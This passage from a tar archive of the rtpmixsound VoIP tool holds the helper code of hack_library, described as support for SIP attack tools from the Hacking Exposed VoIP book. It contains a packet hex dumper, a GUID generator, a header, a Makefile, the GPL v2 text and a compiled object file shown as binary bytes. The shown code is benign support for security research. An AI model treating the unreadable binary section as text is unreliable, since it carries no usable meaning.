) * 16 ); n++ ) { printf( " %02.2x", (unsigned char) psPacket[ n ] ); } } // // Print remainder of bytes that do not form a full 16 byte line. Print up to // first 8 bytes of last line // if ( n != packetSize ) { printf( "\n%4.4x ", m * 16 ); // Row offset leader for ( ; ( n < ( m * 16 + 8 ) ) && ( n < packetSize ); n++ ) { printf( " %02.2x", (unsigned char) psPacket[ n ] ); } printf ( " " ); // Extra space separating columns of 8 // // Print up to next 8 bytes of last line // for ( ; ( n < ( ( m + 1 ) * 16 ) ) && ( n < packetSize ); n++ ) { printf( " %02.2x", (unsigned char) psPacket[ n ] ); } } printf( "\n\n" ); return ( 0 ); } // end DumpPacket() //----------------------------------------------------------------------------- // // GetNextGuid // // Generate a 36 character random ID. // //----------------------------------------------------------------------------- char *GetNextGuid ( void ) { char *guid; int r1; int r2; int r3; int ur; struct timeval tv; ur = open( "/dev/urandom", O_RDONLY ); if ( ur < 0 ) { r1 = random(); r2 = random(); r3 = random(); } else { if ( read( ur, &r1, sizeof( r1 ) ) < ( int )sizeof( r1 ) ) { r1 = random(); } if ( read( ur, &r2, sizeof( r2 ) ) < ( int )sizeof( r2 ) ) { r2 = random(); } if ( read( ur, &r3, sizeof( r3 ) ) < ( int )sizeof( r3 ) ) { r3 = random(); } close( ur ); } guid = (char *)malloc( 37 ); if ( !guid ) { fprintf( stderr, "GetNextGuid: out of memory", __FILE__, __LINE__ ); return ( NULL ); } gettimeofday( &tv, NULL ); snprintf( guid, 37, "%1x%05x%02x-%04x-%04x-%04x-%08x%04x", ( unsigned int ) tv.tv_sec & 0x0000000f, ( unsigned int ) tv.tv_usec & 0x000fffff, ( unsigned int ) r3 >> 16 & 0x000000ff, ( unsigned int ) tv.tv_sec >> 4 & 0x0000ffff, ( unsigned int )( tv.tv_sec >> 20 & 0x00000fff ) | 0x00004000, ( unsigned int )( r1 & 0x00003fff ) | 0x00008000, ( unsigned int ) r2 & 0xffffffff, ( unsigned int ) r3 & 0x0000ffff ); return ( guid ); } rtpmixsound-3.0/hack_library/hack_library.h0000644000175000017500000000311210517730361020513 0ustar dookiedookie//------------------------------------------------------------------------------- // // hack_library.h - A collection of tools used for SIP attack // tools. Developed for the Hacking // Exposed VoIP book. // // Copyright (C) 2006 Mark D. Collier/Mark O'Brien // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation; either version 2 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. // // Author: Mark D. Collier/Mark O'Brien - 02/17/2006 v1.0 // www.securelogix.com - mark.collier@securelogix.com // www.hackingexposedvoip.com // //------------------------------------------------------------------------------- #ifndef __HACK_LIBRARY_H #define __HACK_LIBRARY_H #include #include #include #include int Str2IP ( char *str, int *ipNum ); int DumpPacket ( char *psPacket, int packetSize ); char *GetNextGuid ( void ); #endif // __HACK_LIBRARY_H rtpmixsound-3.0/hack_library/Makefile0000644000175000017500000000014210471155444017352 0ustar dookiedookiehack_library: hack_library.c hack_library.h gcc -c hack_library.c clean: rm -f hack_library.o rtpmixsound-3.0/hack_library/LICENSE_SOFTWARE0000644000175000017500000004371710517472557020260 0ustar dookiedookie GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS Appendix: How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) 19yy This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) 19yy name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. rtpmixsound-3.0/hack_library/hack_library.o0000644000175000017500000001043012070051576020523 0ustar dookiedookieELF>@@ UHH@H}HuHEHEEHEHEHEHEHE< tHEHERHE0 vHE<.t HE<.u}u EHEHEHEt HE< u}t HEHEE}#HE.HHEH}uqHEHEHEԁ}HE0 v9Eԉ‹EHTHEHHEE}wHEHEUHH H}uEPHEEЃ)ЉEEEH}t}y xEEƿ(EHcHEHƿEE;Eʿ (EHcHEHƿEE;EʃEE;E_E;EEƿ(EHcHEHƿEE;E~E;E|¿ (EHcHEHƿEE;E~E;E|¿UHH`E}yEEEHMEHΉǸEHMEHΉǸEHMEHΉǸEEǸ%HEH}u-HHǸHEоHǸEDȋE‹E%?AAHEH%ǁ@HEEDHEAAHEЉHEDL$ T$DD$|$4$EEк%HǸHE Packet: %04.4x %02.2x %4.4x /dev/urandomhack_library.cGetNextGuid: out of memory%1x%05x%02x-%04x-%04x-%04x-%08x%04xGCC: (Debian 4.7.2-4) 4.7.2zRx pAC k <AC  \AC  .symtab.strtab.shstrtab.rela.text.data.bss.rodata.comment.note.GNU-stack.rela.eh_frame @  &@,@1@90BWxRH `a p  x p#p.5=BDNSZ_els{hack_library.cStr2IPstrchratoiDumpPacketprintfputcharputsGetNextGuidopenrandomreadclosemallocstderrfprintfgettimeofdaysnprintf         :V `        4 "9R $\jrz %/ 14 @Aa ` @p`D